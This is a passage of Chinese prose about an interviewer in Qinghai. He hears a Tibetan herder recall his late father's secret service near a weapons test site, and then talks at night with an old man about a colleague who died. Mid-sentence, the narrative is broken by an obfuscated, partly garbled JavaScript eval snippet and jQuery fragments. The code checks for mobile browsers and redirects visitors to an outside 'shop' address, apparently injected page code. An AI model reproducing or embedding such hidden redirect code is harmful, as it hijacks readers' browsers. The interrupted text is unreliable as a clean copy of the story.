，有次冬天出车，遇到暴风雪，能见度不到五米。车队迷路了，在草原上转了一夜。天亮时，他们发现自己就在试验场边缘，再往前开几百米，就会闯入禁区。”才让喝了一口茶，眼睛望向帐篷外无垠的草原，“带队的老兵下了车，跪在雪地里磕了三个头，说：‘祖宗保佑，没酿成大错。’后来他们才知道，那天禁区里正好有重要试验。”

    “你父亲现在……”叶葆启问。

    “走了，十年前走的。”才让平静地说，“肺病。医生说，可能和年轻时接触的东西有关，也可能就是草原上常见的病。阿爸自己从没抱怨过。临终前，他把我叫到床边，说：‘才让，我这一辈子，最光荣的就是那十几年。虽然不能对人说，但我知道自己在做什么。’”

    才让的妻子一直安静地坐在帐篷角落捻羊毛线。这时她抬起头，用藏语说了句什么。才让翻译道：“她说，阿爸下葬时，我们按藏族习俗请了喇嘛念经。喇嘛说，他的灵魂很干净，像雪山上的雪。”

    帐篷外传来羊群的叫声。才让的小女儿跑进来，大约七八岁，红扑扑的脸蛋，辫子上缠着彩色丝线。她好奇地打量着采访组，最后目光落在摄像机上。

    “这个能照相吗？”她问。

    摄像师给她看取景器里的画面。女孩看见自己的脸，咯咯笑起来，笑声清亮得像银铃。

    叶葆启突然想到：这笑声，这平静的牧羊生活，这代代相传的草原，都是因为几十年前那些隐姓埋名的人，在离此不远的红砖楼里，用青春乃至生命换来的。

    和平是有重量的，它压在每一株草上，每一片云上，每一个孩子的笑声上。

    那晚他们住在海晏县城的招待所。叶葆启失眠了。

    窗外，青海的星空低垂得惊人，仿佛跳起来就能摘下一把星星。银河横

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904186|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    贯天际，乳白色的光带里嵌着无数闪烁的钻石。这样的星空，当年那些科学家们也一定看过。他们在计算间隙走出帐篷，揉着酸痛的眼睛，抬头看见这亘古不变的星河时，会想些什么？

    也许会想到家乡，想到父母妻儿，想到自己正在从事的事业将改变这个国家的命运。也许什么都不想，只是让星空那冰冷的辉煌，暂时洗净脑海中的复杂公式和重重忧虑。

    凌晨两点，叶葆启披衣起床，走进招待所的小院。却发现赵老也在，坐在石凳上抽烟，烟头在黑暗中一明一灭。

    “赵老，您也睡不着？”

    “年纪大了，觉少。”老人拍拍身边的位置，“坐。”

    叶葆启坐下，闻到烟草混合着夜露的气息。

    “白天您说的那位王老师，”叶葆启犹豫了一下，还是问了，“他后来怎么样了？”

    赵老深吸一口烟，缓缓吐出。烟雾在月光下变成淡蓝色的纱。

    “他回北京治病，三年后去世了。临走前给我写过一封信，说：‘老赵，我不后悔。唯一遗憾的是，没能看到孩子们长大的样子。’他有三个孩子，来青海时最大的才五岁。为了保密，他写信时不能提工作，只能说‘我在西北搞建设’。孩子们以为爸爸在修铁路，还在作文里写：‘我爸爸是铁道兵，他在祖国最需要的地方。’”

    赵老的声音很平静，但叶葆启听出了平静下的汹